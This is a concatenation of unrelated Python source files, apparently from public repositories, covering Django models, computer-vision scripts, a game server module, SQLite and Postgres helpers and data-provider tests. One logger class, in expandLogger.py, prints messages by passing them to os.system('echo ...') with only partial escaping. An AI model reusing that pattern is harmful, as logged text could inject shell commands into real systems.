('foo', None),
('bar', 'baz'),
pytest.param(None, 'baz', marks=pytest.mark.xfail),
]
)
def test_create(self, lambda_user: User, name: str, icon: str) -> None:
'''Test the user_tag creation.
'''
user_tag: UserTag = UserTag.objects.create(
name=name, icon=icon, user=lambda_user
)
assert user_tag
| 647 |
niaaml/fitness/utility.py
|
musicinmybrain/NiaAML
| 22 |
2024406
|
from niaaml.utilities import Factory
from niaaml.fitness.accuracy import Accuracy
from niaaml.fitness.cohen_kappa import CohenKappa
from niaaml.fitness.precision import Precision
from niaaml.fitness.f1 import F1
__all__ = ["FitnessFactory"]
class FitnessFactory(Factory):
r"""Class with string mappings to fitness class.
Attributes:
_entities (Dict[str, Fitness]): Mapping from strings to fitness classes.
See Also:
* :class:`niaaml.utilities.Factory`
"""
def _set_parameters(self, **kwargs):
r"""Set the parameters/arguments of the factory."""
self._entities = {
"Accuracy": Accuracy,
"Precision": Precision,
"CohenKappa": CohenKappa,
"F1": F1,
}
| 762 |
backend/posts/migrations/0002_remove_post_tags.py
|
a-samir97/medium-clone
| 0 |
2024202
|
# Generated by Django 3.1.3 on 2020-11-21 09:49
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('posts', '0001_initial'),
]
operations = [
migrations.RemoveField(
model_name='post',
name='tags',
),
]
| 311 |
tools/modules/TREX/core/__init__.py
|
automenta/trex-autonomy
| 0 |
2024063
|
# Import TREX analog classes
from TREX.core.db_core import DbCore,Timeline
from TREX.core.assembly import Assembly,Entity,Rule,Token,Slot,Variable
# Import
from TREX.core.token_network import TokenNetwork
from TREX.core.token_network_filter import TokenNetworkFilter
| 270 |
tests/chainer_tests/functions_tests/pooling_tests/pooling_nd_helper.py
|
zjzh/chainer
| 3,705 |
2024168
|
import itertools
import numpy
import six
from chainer import testing
import chainer.utils
def pooling_patches(dims, ksize, stride, pad, cover_all):
"""Return tuples of slices that indicate pooling patches."""
# Left-top indexes of each pooling patch.
if cover_all:
xss = itertools.product(
*[six.moves.range(-p, d + p - k + s, s)
for (d, k, s, p) in six.moves.zip(dims, ksize, stride, pad)])
else:
xss = itertools.product(
*[six.moves.range(-p, d + p - k + 1, s)
for (d, k, s, p) in six.moves.zip(dims, ksize, stride, pad)])
# Tuples of slices for pooling patches.
return [tuple(slice(max(x, 0), min(x + k, d))
for (x, d, k) in six.moves.zip(xs, dims, ksize))
for xs in xss]
def shuffled_linspace(shape, dtype):
size = chainer.utils.size_of_shape(shape)
x = numpy.random.permutation(size) + numpy.random.uniform(0.3, 0.7, size)
x = (2 * x / max(1, size) - 1).astype(dtype)
return x.reshape(shape)
testing.run_module(__name__, __file__)
| 1,082 |
tensortools/optimize/__init__.py
|
klmcguir/tensortools
| 0 |
2023168
|
"""
Optimization routines for CP decompositions
"""
from .optim_utils import FitResult
from .cp_als import cp_als
from .mcp_als import mcp_als
from .ncp_hals import ncp_hals
from .ncp_bcd import ncp_bcd
from .mncp_hals import mncp_hals
| 237 |
Python/BGEstimation.py
|
Prasheel24/background-estimation
| 0 |
2022696
|
# -*- coding: utf-8 -*-
"""Background Estimation with Median Filtering"""
__name__ = "BGEstimation"
__version__ = (1,0)
__author__ = "<NAME> <<EMAIL>>"
_generator_name = __name__ + "-" + ".".join(map(str, __version__))
# Import the required libraries
import numpy as np
import sys, os
try:
sys.path.remove('/opt/ros/kinetic/lib/python2.7/dist-packages')
except:
pass
import cv2
from skimage import data, filters
# Capture the Video for Background Estimation in VideoCapture object
captured_video = cv2.VideoCapture('MorganBridgeFeed.mp4')
# Select 25 frames from the captured_video at Random
# CAP_PROP_FRAME_COUNT returns the frame count from the video file
# Product with np.random.uniform with specified size gives
# Random frames from the video of type ndarray
frame_ids = captured_video.get(cv2.CAP_PROP_FRAME_COUNT) * np.random.uniform(size=20)
# Store the frames in an empty array(list)
temp_frames = []
# Loop through to get each frame with its corresponding id
for frame_id in frame_ids:
# mark each frame on videocapture object
captured_video.set(cv2.CAP_PROP_POS_FRAMES, frame_id)
# get each frame
ret_val, individual_frame = captured_video.read()
# append into temporary list
temp_frames.append(individual_frame)
# print(ret_val)
# Now we calculate the median along the time axis
median_frame = np.median(temp_frames, axis=0).astype(dtype=np.uint8)
# Display the median frame thus calculated
cv2.imshow('Median Frame', median_frame)
cv2.waitKey(0)
# cv2.imwrite('median_frame.jpg',median_frame)
# Now we create a mask for every frame
# Reset previously set frame number to 0
captured_video.set(cv2.CAP_PROP_POS_FRAMES, 0)
# Now convert median frame to grayscale
gray_median_frame = cv2.cvtColor(median_frame, cv2.COLOR_BGR2GRAY)
cv2.imshow('Gray Scale Image', gray_median_frame)
cv2.waitKey(0)
while(ret_val):
# Read the current frame
ret, frame = captured_video.read()
if frame is not None:
# Convert the current frame to grayscale
frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
# Calculate absolute difference of current frame and the median frame
diff_frame = cv2.absdiff(frame, gray_median_frame)
# Threshold to binarize
th, diff_frame = cv2.threshold(diff_frame, 30, 255, cv2.THRESH_BINARY)
# Display the final image
# cv2.imshow('Temp Frames',frame)
cv2.imshow('Difference Frames', diff_frame)
cv2.waitKey(20)
cv2.waitKey(0)
# Release VideoCapture object
captured_video.release()
# Close all Windows
cv2.destroyAllWindows()
| 2,503 |
scripts/create_test_data_file_from_bt.py
|
roger-/pyzephyr
| 1 |
2022800
|
import serial
import time
import platform
import csv
import zephyr.protocol
def main():
serial_port_dict = {"Darwin": "/dev/cu.BHBHT001931-iSerialPort1",
"Windows": 23}
serial_port = serial_port_dict[platform.system()]
ser = serial.Serial(serial_port)
callback = lambda x: None
protocol = zephyr.protocol.BioHarnessProtocol(ser, callback, "../test_data/120-second-bt-stream")
protocol.enable_periodic_packets()
start_time = time.time()
while time.time() < start_time + 120:
protocol.read_and_handle_bytes(1)
if __name__ == "__main__":
main()
| 630 |
toontown/hood/GSHoodAI.py
|
journeyfan/toontown-journey
| 1 |
2024433
|
from toontown.classicchars import DistributedGoofySpeedwayAI
from libpandadna import DNAGroup, DNAVisGroup
from toontown.hood import HoodAI
from toontown.hood import ZoneUtil
from toontown.racing import RaceGlobals
from toontown.racing.DistributedRacePadAI import DistributedRacePadAI
from toontown.racing.DistributedStartingBlockAI import DistributedStartingBlockAI
from toontown.racing.DistributedViewPadAI import DistributedViewPadAI
from toontown.racing.DistributedStartingBlockAI import DistributedViewingBlockAI
from toontown.toonbase import ToontownGlobals
class GSHoodAI(HoodAI.HoodAI):
def __init__(self, air):
HoodAI.HoodAI.__init__(self, air,
ToontownGlobals.GoofySpeedway,
ToontownGlobals.GoofySpeedway)
self.racingPads = []
self.viewingPads = []
self.viewingBlocks = []
self.startingBlocks = []
self.leaderBoards = []
self.classicChar = None
self.startup()
def startup(self):
HoodAI.HoodAI.startup(self)
self.createStartingBlocks()
self.createLeaderBoards()
self.cycleLeaderBoards()
if simbase.config.GetBool('want-goofy', True):
self.createClassicChar()
def shutdown(self):
HoodAI.HoodAI.shutdown(self)
taskMgr.removeTasksMatching('leaderBoardSwitch')
for board in self.leaderBoards:
board.delete()
del self.leaderBoards
def findRacingPads(self, dnaGroup, zoneId, area, padType='racing_pad'):
racingPads = []
racingPadGroups = []
if isinstance(dnaGroup, DNAGroup) and (padType in dnaGroup.getName()):
racingPadGroups.append(dnaGroup)
if padType == 'racing_pad':
nameInfo = dnaGroup.getName().split('_')
racingPad = DistributedRacePadAI(simbase.air)
racingPad.setArea(zoneId)
racingPad.nameType = nameInfo[3]
racingPad.index = int(nameInfo[2])
nextRaceInfo = RaceGlobals.getNextRaceInfo(-1, racingPad.nameType, racingPad.index)
racingPad.setTrackInfo([nextRaceInfo[0], nextRaceInfo[1]])
racingPad.generateWithRequired(zoneId)
elif padType == 'viewing_pad':
racingPad = DistributedViewPadAI(simbase.air)
racingPad.setArea(zoneId)
racingPad.generateWithRequired(zoneId)
else:
self.notify.error('Invalid racing pad type: ' + padType)
racingPads.append(racingPad)
elif isinstance(dnaGroup, DNAVisGroup):
zoneId = ZoneUtil.getTrueZoneId(int(dnaGroup.getName().split(':')[0]), zoneId)
for i in range(dnaGroup.getNumChildren()):
(foundRacingPads, foundRacingPadGroups) = self.findRacingPads(dnaGroup.at(i), zoneId, area, padType=padType)
racingPads.extend(foundRacingPads)
racingPadGroups.extend(foundRacingPadGroups)
return (racingPads, racingPadGroups)
def findStartingBlocks(self, dnaGroup, racePad):
startingBlocks = []
if isinstance(dnaGroup, DNAGroup) and ('starting_block' in dnaGroup.getName()):
x, y, z = dnaGroup.getPos()
h, p, r = dnaGroup.getHpr()
if isinstance(racePad, DistributedRacePadAI):
startingBlock = DistributedStartingBlockAI(simbase.air)
elif isinstance(racePad, DistributedViewPadAI):
startingBlock = DistributedViewingBlockAI(simbase.air)
else:
self.notify.error('Unknown starting block type.')
startingBlock.setPosHpr(x, y, z, h, p, r)
startingBlock.setPadDoId(racePad.doId)
startingBlock.setPadLocationId(getattr(racePad, 'index', 0))
startingBlock.generateWithRequired(racePad.zoneId)
startingBlocks.append(startingBlock)
for i in range(dnaGroup.getNumChildren()):
foundStartingBlocks = self.findStartingBlocks(dnaGroup.at(i), racePad)
startingBlocks.extend(foundStartingBlocks)
return startingBlocks
def createStartingBlocks(self):
self.racingPads = []
self.viewingPads = []
racingPadGroups = []
viewingPadGroups = []
for zoneId in self.getZoneTable():
dnaData = self.air.dnaDataMap.get(zoneId, None)
zoneId = ZoneUtil.getTrueZoneId(zoneId, self.zoneId)
if dnaData.getName() == 'root':
area = ZoneUtil.getCanonicalZoneId(zoneId)
(foundRacingPads, foundRacingPadGroups) = self.findRacingPads(dnaData, zoneId, area, padType='racing_pad')
(foundViewingPads, foundViewingPadGroups) = self.findRacingPads(dnaData, zoneId, area, padType='viewing_pad')
self.racingPads.extend(foundRacingPads)
racingPadGroups.extend(foundRacingPadGroups)
self.viewingPads.extend(foundViewingPads)
viewingPadGroups.extend(foundViewingPadGroups)
self.startingBlocks = []
for (dnaGroup, racePad) in zip(racingPadGroups, self.racingPads):
foundStartingBlocks = self.findStartingBlocks(dnaGroup, racePad)
self.startingBlocks.extend(foundStartingBlocks)
for startingBlock in foundStartingBlocks:
racePad.addStartingBlock(startingBlock)
self.viewingBlocks = []
for (dnaGroup, viewPad) in zip(viewingPadGroups, self.viewingPads):
foundViewingBlocks = self.findStartingBlocks(dnaGroup, viewPad)
self.viewingBlocks.extend(foundViewingBlocks)
for viewingBlock in foundViewingBlocks:
viewPad.addStartingBlock(viewingBlock)
def findLeaderBoards(self, dnaData, zoneId):
return [] # TODO
def createLeaderBoards(self):
self.leaderBoards = []
dnaData = self.air.dnaDataMap[self.zoneId]
if dnaData.getName() == 'root':
self.leaderBoards = self.findLeaderBoards(dnaData, self.zoneId)
for leaderBoard in self.leaderBoards:
if not leaderBoard:
continue
if 'city' in leaderBoard.getName():
leaderBoardType = 'city'
elif 'stadium' in leaderBoard.getName():
leaderBoardType = 'stadium'
elif 'country' in leaderBoard.getName():
leaderBoardType = 'country'
for subscription in RaceGlobals.LBSubscription[leaderBoardType]:
leaderBoard.subscribeTo(subscription)
def cycleLeaderBoards(self, task=None):
messenger.send('leaderBoardSwap-' + str(self.zoneId))
taskMgr.doMethodLater(10, self.cycleLeaderBoards, 'leaderBoardSwitch')
def createClassicChar(self):
self.classicChar = DistributedGoofySpeedwayAI.DistributedGoofySpeedwayAI(self.air)
self.classicChar.generateWithRequired(self.zoneId)
self.classicChar.start()
| 7,008 |
backend.py
|
mohitroutela/library-management-system-using-tkinter
| 1 |
2023843
|
import sqlite3
def connect():
'''it is used to connect to the database books'''
conn=sqlite3.connect("books.db")
cur=conn.cursor()
cur.execute("CREATE TABLE IF NOT EXISTS book(id integer PRIMARY KEY,title text,author text,year text,isbn integer)")
conn.commit()
conn.close()
def insert(title,author,year,isbn):
''' it is used to inset into the database '''
conn=sqlite3.connect("books.db")
cur=conn.cursor()
cur.execute("INSERT INTO book values (Null,?,?,?,?)",(title,author,year,isbn))
conn.commit()
conn.close()
def view():
''' it is used to view all the enteries in the book table of a books database '''
conn=sqlite3.connect("books.db")
cur=conn.cursor()
cur.execute("SELECT * FROM book")
rows=cur.fetchall()
conn.close()
return rows
def search(title="",author="",year="",isbn=""):
''' it is used to search the entries
null string are passed so that user can select any one of them '''
conn=sqlite3.connect("books.db")
cur=conn.cursor()
cur.execute("SELECT * FROM book where title=? or author=? or year=? or isbn=?",(title,author,year,isbn))
conn.commit()
rows=cur.fetchall()
conn.close()
return rows
def update(id,title,author,year,isbn):
''' it updates the values according to the id selected in the user interface '''
conn=sqlite3.connect("books.db")
cur=conn.cursor()
cur.execute("UPDATE book SET title=?,author=?,year=?,isbn=? where id=?",(title,author,year,isbn,id))
conn.commit()
conn.close()
def delete(id):
''' deletes according to the id selected'''
conn=sqlite3.connect("books.db")
cur=conn.cursor()
cur.execute("DELETE FROM book WHERE id=?",(id,)) #(id,) commas has been used besides id so that it is passed as a tuple
conn.commit()
conn.close()
def delete_all():
conn=sqlite3.connect("books.db")
cur=conn.cursor()
cur.execute("DELETE FROM book")
conn.commit()
conn.close()
| 1,847 |
gpvdm_gui/gui/lasers.py
|
roderickmackenzie/gpvdm
| 12 |
2022876
|
#
# General-purpose Photovoltaic Device Model - a drift diffusion base/Shockley-Read-Hall
# model for 1st, 2nd and 3rd generation solar cells.
# Copyright (C) 2008-2022 <NAME> r.<EMAIL>.<EMAIL> at googlemail.com
#
# https://www.gpvdm.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License v2.0, as published by
# the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
#
## @package lasers
# Main laser editor window.
#
import os
import webbrowser
from tab import tab_class
from icon_lib import icon_get
import i18n
_ = i18n.language.gettext
#qt
from PyQt5.QtWidgets import QMainWindow, QTextEdit, QAction, QApplication
from PyQt5.QtGui import QIcon, QPainter, QFont, QColor
from PyQt5.QtCore import QSize, Qt
from PyQt5.QtWidgets import QWidget,QSizePolicy,QVBoxLayout,QPushButton,QDialog,QFileDialog,QToolBar,QLabel,QComboBox, QTabWidget,QStatusBar,QMenuBar, QTabBar, QStylePainter, QStyleOptionTab,QStyle
#window
from gui_util import yes_no_dlg
from gui_util import dlg_get_text
from util import wrap_text
from QWidgetSavePos import QWidgetSavePos
from cal_path import get_sim_path
from css import css_apply
from experiment import experiment
class lasers(experiment):
def __init__(self,data=None):
experiment.__init__(self,window_save_name="laser_editor", window_title=_("Laser editor"),name_of_tab_class="jvexperiment_tab",json_search_path="gpvdm_data().lasers")
self.notebook.currentChanged.connect(self.switch_page)
#self.ribbon.tb_save.setVisible(False)
self.switch_page()
def switch_page(self):
tab = self.notebook.currentWidget()
#self.tb_lasers.update(tab.data)
| 2,151 |
server/src/expandLogger.py
|
leonard-thong/dlwlrat
| 2 |
2024407
|
# -*- coding:utf-8 -*-
"""
===========================================
@author: lmy
@time: 2020/8/11 5:54 PM
@project: brat
@file: expandLogger.py
===========================================
"""
import sys
import os
EXCEPTION = "\n\033[95mEXCEPTION: "
OKBLUE = "\n\033[94m"
OKGREEN = "\n\033[92m"
WARNING = "\033[93mWARNING: "
ERROR = "\n\033[91mERROR: "
ENDC = "\033[0m"
class Logger(object):
# def __init__(self, file_path):
# self.file_path = file_path
# self.f_out = open(self.file_path, "a", encoding="utf8")
# def __del__(self):
# self.f_out.close()
# def log(self, content):
# self.f_out.write(content)
@staticmethod
def print(content):
os.system("echo " + "'" + content.__str__().replace(' ', '\ ').replace('(','\(').replace(')','\)').replace('&','\&') + "'")
def log_normal(self, log):
self.print(OKGREEN + "RUNNING LOG: " + log.__str__() + ENDC)
def log_warning(self, log):
self.print(WARNING + log.__str__() + ENDC)
def log_error(self, log):
self.print(ERROR + log.__str__() + ENDC)
def log_exception(self, log):
self.print(EXCEPTION + log.__str__() + ENDC)
def log_custom(self, style, log):
self.print(style + log.__str__() + ENDC)
if __name__ == "__main__":
logger = Logger()
logger.log_warning("THIS IS A TEST MESSAGE")
logger.log_normal("THIS IS A TEST MESSAGE")
logger.log_error("THIS IS A TEST MESSAGE")
| 1,485 |
demandCustomize/cloudPlatform/migrations/0004_auto_20170516_1716.py
|
liushouyun/equipment
| 0 |
2024296
|
# -*- coding: utf-8 -*-
# Generated by Django 1.10.4 on 2017-05-16 17:16
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('cloudPlatform', '0003_auto_20170512_1926'),
]
operations = [
migrations.AlterField(
model_name='demandtemplate',
name='StartMethodNode',
field=models.IntegerField(default=0),
),
migrations.AlterField(
model_name='demandtemplatenode',
name='DemandTemplate_DemandTemplateID',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='cloudPlatform.DemandTemplate'),
),
]
| 762 |
qf_lib_tests/integration_tests/data_providers/test_cryptocurrency_provider.py
|
webclinic017/qf-lib
| 198 |
2024388
|
# Copyright 2016-present CERN – European Organization for Nuclear Research
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import unittest
import pandas as pd
from qf_lib.common.enums.frequency import Frequency
from qf_lib.common.enums.price_field import PriceField
from qf_lib.common.tickers.tickers import CcyTicker
from qf_lib.common.utils.dateutils.string_to_date import str_to_date
from qf_lib.containers.dataframe.prices_dataframe import PricesDataFrame
from qf_lib.containers.dataframe.qf_dataframe import QFDataFrame
from qf_lib.containers.qf_data_array import QFDataArray
from qf_lib.containers.series.prices_series import PricesSeries
from qf_lib.containers.series.qf_series import QFSeries
from qf_lib.data_providers.cryptocurrency.cryptocurrency_data_provider import CryptoCurrencyDataProvider
@unittest.skip("CryptoCurrencyDataProvider needs update")
class TestCryptoCurrency(unittest.TestCase):
START_DATE = str_to_date('2016-01-01')
END_DATE = str_to_date('2017-02-02')
SINGLE_FIELD = 'Close'
MANY_FIELDS = ['Open', 'Volume', 'Close']
SINGLE_TICKER = CcyTicker('Bitcoin')
MANY_TICKERS = [CcyTicker('Bitcoin'), CcyTicker('Ethereum'), CcyTicker('Ripple')]
NUM_OF_DATES = 399
SINGLE_PRICE_FIELD = PriceField.Close
MANY_PRICE_FIELDS = [PriceField.Close, PriceField.Open, PriceField.High]
def setUp(self):
self.cryptocurrency_provider = CryptoCurrencyDataProvider()
# =========================== Test get_price method ==========================================================
def test_price_single_ticker_single_field(self):
# single ticker, single field; end_date by default now, frequency by default DAILY, currency by default None
data = self.cryptocurrency_provider.get_price(tickers=self.SINGLE_TICKER, fields=self.SINGLE_PRICE_FIELD,
start_date=self.START_DATE, end_date=self.END_DATE,
frequency=Frequency.DAILY)
self.assertIsInstance(data, PricesSeries)
self.assertEqual(len(data), self.NUM_OF_DATES)
self.assertEqual(data.name, self.SINGLE_TICKER.as_string())
def test_price_single_ticker_multiple_fields(self):
# single ticker, many fields; can be the same as for single field???
data = self.cryptocurrency_provider.get_price(tickers=self.SINGLE_TICKER, fields=self.MANY_PRICE_FIELDS,
start_date=self.START_DATE, end_date=self.END_DATE,
frequency=Frequency.DAILY)
self.assertEqual(type(data), PricesDataFrame)
self.assertEqual(data.shape, (self.NUM_OF_DATES, len(self.MANY_PRICE_FIELDS)))
self.assertEqual(list(data.columns), self.MANY_PRICE_FIELDS)
def test_price_multiple_tickers_single_field(self):
data = self.cryptocurrency_provider.get_price(tickers=self.MANY_TICKERS, fields=self.SINGLE_PRICE_FIELD,
start_date=self.START_DATE, end_date=self.END_DATE,
frequency=Frequency.DAILY)
self.assertEqual(type(data), PricesDataFrame)
self.assertEqual(data.shape, (self.NUM_OF_DATES, len(self.MANY_TICKERS)))
self.assertEqual(list(data.columns), self.MANY_TICKERS)
def test_price_multiple_tickers_multiple_fields(self):
# testing for single date (start_date and end_date are the same)
data = self.cryptocurrency_provider.get_price(tickers=self.MANY_TICKERS, fields=self.MANY_PRICE_FIELDS,
start_date=self.START_DATE, end_date=self.END_DATE,
frequency=Frequency.DAILY)
self.assertEqual(type(data), QFDataArray)
self.assertEqual(data.shape, (self.NUM_OF_DATES, len(self.MANY_TICKERS), len(self.MANY_PRICE_FIELDS)))
self.assertIsInstance(data.dates.to_index(), pd.DatetimeIndex)
self.assertEqual(list(data.tickers), self.MANY_TICKERS)
self.assertEqual(list(data.fields), self.MANY_PRICE_FIELDS)
# =========================== Test get_history method ==========================================================
def test_historical_single_ticker_single_field(self):
# single ticker, single field; end_date by default now, frequency by default DAILY, currency by default None
data = self.cryptocurrency_provider.get_history(tickers=self.SINGLE_TICKER, fields=self.SINGLE_FIELD,
start_date=self.START_DATE, end_date=self.END_DATE)
self.assertIsInstance(data, QFSeries)
self.assertEqual(len(data), self.NUM_OF_DATES)
self.assertEqual(data.name, self.SINGLE_TICKER.as_string())
def test_historical_single_ticker_multiple_fields(self):
# single ticker, many fields; can be the same as for single field???
data = self.cryptocurrency_provider.get_history(tickers=self.SINGLE_TICKER, fields=self.MANY_FIELDS,
start_date=self.START_DATE, end_date=self.END_DATE)
self.assertEqual(type(data), QFDataFrame)
self.assertEqual(data.shape, (self.NUM_OF_DATES, len(self.MANY_FIELDS)))
self.assertEqual(list(data.columns), self.MANY_FIELDS)
def test_historical_multiple_tickers_single_field(self):
data = self.cryptocurrency_provider.get_history(tickers=self.MANY_TICKERS, fields=self.SINGLE_FIELD,
start_date=self.START_DATE, end_date=self.END_DATE)
self.assertEqual(type(data), QFDataFrame)
self.assertEqual(data.shape, (self.NUM_OF_DATES, len(self.MANY_TICKERS)))
self.assertEqual(list(data.columns), self.MANY_TICKERS)
def test_historical_multiple_tickers_multiple_fields_one_date(self):
# testing for single date (start_date and end_date are the same)
data = self.cryptocurrency_provider.get_history(tickers=self.MANY_TICKERS, fields=self.MANY_FIELDS,
start_date=self.END_DATE, end_date=self.END_DATE)
self.assertEqual(type(data), QFDataFrame)
self.assertEqual(data.shape, (len(self.MANY_TICKERS), len(self.MANY_FIELDS)))
self.assertEqual(list(data.index), self.MANY_TICKERS)
self.assertEqual(list(data.columns), self.MANY_FIELDS)
def test_historical_multiple_tickers_multiple_fields_many_dates(self):
# testing for single date (start_date and end_date are the same)
data = self.cryptocurrency_provider.get_history(tickers=self.MANY_TICKERS, fields=self.MANY_FIELDS,
start_date=self.START_DATE, end_date=self.END_DATE)
self.assertEqual(type(data), QFDataArray)
self.assertEqual(data.shape, (self.NUM_OF_DATES, len(self.MANY_TICKERS), len(self.MANY_FIELDS)))
self.assertIsInstance(data.dates.to_index(), pd.DatetimeIndex)
self.assertEqual(list(data.tickers), self.MANY_TICKERS)
self.assertEqual(list(data.fields), self.MANY_FIELDS)
if __name__ == '__main__':
unittest.main()
| 7,828 |
python-package/test/plot/test_aes.py
|
OLarionova-HORIS/lets-plot
| 0 |
2023098
|
#
# Copyright (c) 2019. JetBrains s.r.o.
# Use of this source code is governed by the MIT license that can be found in the LICENSE file.
#
import pytest
import lets_plot as gg
class TestWithListArgs:
result_empty = {'x': None, 'y': None}
result_xy = {'x': 'xVar', 'y': 'yVar'}
@pytest.mark.parametrize('args,expected', [
([], result_empty),
(['xVar', 'yVar'], result_xy),
])
def test_aes(self, args, expected):
spec = gg.aes(*args)
assert spec.as_dict() == expected
class TestWithDictArgs:
result_kwargs = {'x': 'xVar', 'y': 'yVar', 'size': 'sizeVar'}
@pytest.mark.parametrize('args,expected', [
(result_kwargs, result_kwargs),
])
def test_aes(self, args, expected):
spec = gg.aes(**args)
assert spec.as_dict() == expected
| 822 |
pytest_django_test/settings_sqlite_file.py
|
lendingloop/pytest-django
| 5,079 |
2022852
|
import tempfile
from .settings_base import * # noqa: F401 F403
# This is a SQLite configuration, which uses a file based database for
# tests (via setting TEST_NAME / TEST['NAME']).
# The name as expected / used by Django/pytest_django (tests/db_helpers.py).
_fd, _filename = tempfile.mkstemp(prefix="test_")
DATABASES = {
"default": {
"ENGINE": "django.db.backends.sqlite3",
"NAME": "/pytest_django_should_never_get_accessed",
"TEST": {"NAME": _filename},
}
}
| 498 |
automated_correction_module/word_seg_try.py
|
anaghrao-99/Digital-Portal-for-Schools
| 0 |
2024096
|
#grayscale
import numpy as np
import cv2
import imutils
from imutils import contours
import sys
import subprocess
import os
from pathlib import Path
filename_input = sys.argv[1]
def erode_image(filename):
img = cv2.imread(filename, cv2.IMREAD_GRAYSCALE)
# increase contrast
pxmin = np.min(img)
pxmax = np.max(img)
imgContrast = (img - pxmin) / (pxmax - pxmin) * 255
# increase line width
kernel = np.ones((4, 4), np.uint8)
imgMorph = cv2.erode(imgContrast, kernel, iterations = 2)
# write
cv2.imwrite(filename, imgMorph)
def get_contour_precedence(contour, cols):
origin = cv2.boundingRect(contour)
return origin[1] * cols + origin[0]
image = cv2.imread(filename_input)
# image = cv2.imread(filename)
gray = cv2.cvtColor(image,cv2.COLOR_BGR2GRAY)
# cv2.imshow('gray',gray)
# cv2.waitKey(0)
#binary
ret,thresh = cv2.threshold(gray,127,255,cv2.THRESH_BINARY_INV)
#dilation
kernel = np.ones((5, 100), np.uint8)
img_dilation = cv2.dilate(thresh, kernel, iterations=5)
#find contours im2
ctrs, hier = cv2.findContours(img_dilation.copy(), cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)
#sort contours
# sorted_ctrs = sorted(ctrs, key=lambda ctr:get_contour_precedence(ctr, img_dilation.shape[1]))
for ctr in ctrs :
x, y, w, h = cv2.boundingRect(ctr)
sorted_ctrs = sorted(ctrs, key=lambda ctr: get_contour_precedence(ctr, img_dilation.shape[1]))
# sorted_ctrs = sorted(ctrs, key=lambda ctr: cv2.boundingRect(ctr)[0] + cv2.boundingRect(ctr)[1] * image.shape[1] )
path = os.path.abspath(os.getcwd()) + '/out_test/'
if(os.path.exists(path)):
for f in Path(path).glob('*.png'):
f.unlink()
for i, ctr in enumerate(sorted_ctrs):
# Get bounding box
x, y, w, h = cv2.boundingRect(ctr)
# Getting ROI
roi = image[y:y+h, x:x+w]
# show ROI
#print('segment no:' + str(i))
# cv2.imshow('segment no:'+str(i),roi)
string = 'out_test/'
string+= str(i)
string += '.png'
# initial_directory = os.path.abspath(os.getcwd())
cv2.imwrite(string, roi)
# erode_image(string)
# cv2.imshow(roi)
cv2.rectangle( image,(x,y),( x + w, y + h ),(90,0,255),2)
# cv2.waitKey(0)
# pipe = subprocess.check_call(["python", filename])
print("Splitting into lines is over")
| 2,296 |
src/providers/api/modules/etlMods.py
|
9LKQ7ZLC82/cccatalog
| 1 |
2024500
|
import logging
import os
import re
import requests
import time
import json
import argparse
import random
from datetime import datetime, timedelta
PATH = os.environ['OUTPUT_DIR']
def writeToFile(_data, _name):
outputFile = '{}{}'.format(PATH, _name)
if len(_data) < 1:
return None
logging.info('Writing to file => {}'.format(outputFile))
with open(outputFile, 'a') as fh:
for line in _data:
if line:
fh.write('\t'.join(line) + '\n')
def sanitizeString(_data):
if _data is None:
return ''
_data = _data.strip()
_data = _data.replace('"', "'")
_data = re.sub(r'\n|\r', ' ', _data)
return re.sub(r'\s+', ' ', _data)
def delayProcessing(_startTime, _maxDelay):
minDelay = 1.0
#subtract time elapsed from the requested delay
elapsed = float(time.time()) - float(_startTime)
delayInterval = round(_maxDelay - elapsed, 3)
waitTime = max(minDelay, delayInterval) #time delay between requests.
logging.info('Time delay: {} second(s)'.format(waitTime))
time.sleep(waitTime)
def requestContent(_url):
logging.info('Processing request: {}'.format(_url))
try:
response = requests.get(_url)
if response.status_code == requests.codes.ok:
return response.json()
else:
logging.warning('Unable to request URL: {}. Status code: {}'.format(url, response.status_code))
return None
except Exception as e:
logging.error('There was an error with the request.')
logging.info('{}: {}'.format(type(e).__name__, e))
return None
| 1,643 |
backend/api/serializers/model_year_report_make.py
|
kuanfandevops/zeva
| 0 |
2023115
|
from rest_framework.serializers import ModelSerializer
from api.models.model_year_report_make import ModelYearReportMake
class ModelYearReportMakeSerializer(ModelSerializer):
class Meta:
model = ModelYearReportMake
fields = (
'make',
)
| 279 |
AutomateTheBoringStuff/sameName.py
|
pythoncoder999/Python
| 1 |
2024508
|
# -*- coding: utf-8 -*-
"""
Created on Sat Oct 26 23:49:56 2019
@author: <NAME>
"""
def spam():
eggs = "spam local"
print(eggs) # prints "spam local"
def bacon():
eggs = "bacon local"
print(eggs) # prints "bacon local"
spam()
print(eggs) #prints "bacon local"
eggs = "global"
bacon()
print(eggs) #prints "global"
| 345 |
module4-acid-and-database-scalability-tradeoffs/create_titanic.py
|
bbrauser/DS-Unit-3-Sprint-2-SQL-and-Databases
| 0 |
2023575
|
# imports
import psycopg2
import pandas as pd
from psycopg2.extras import execute_values
# reading in titanic Data
df = pd.read_csv('titanic.csv')
# renaming columns in order to have them read into elephant
df['Siblings/Spouses Aboard'].rename('siblingsspouse', axis=1)
df['Parents/Children Aboard'].rename('parentschildren', axis=1)
# getting rid of unecessary apostrophies
df['Name'] = df['Name'].str.replace("'", "")
# creds for cloud DB, password is <PASSWORD>
dbname = 'cwsewxgg'
user = 'cwsewxgg' # ElephantSQL happens to use same name for db and user
password = ' ' # Sensitive! Don't share/commit
host = 'drona.db.elephantsql.com'
# connection to cloud
pg_conn = psycopg2.connect(dbname=dbname, user=user, password=password, host=host)
pg_curs = pg_conn.cursor()
# creating Titanic Table
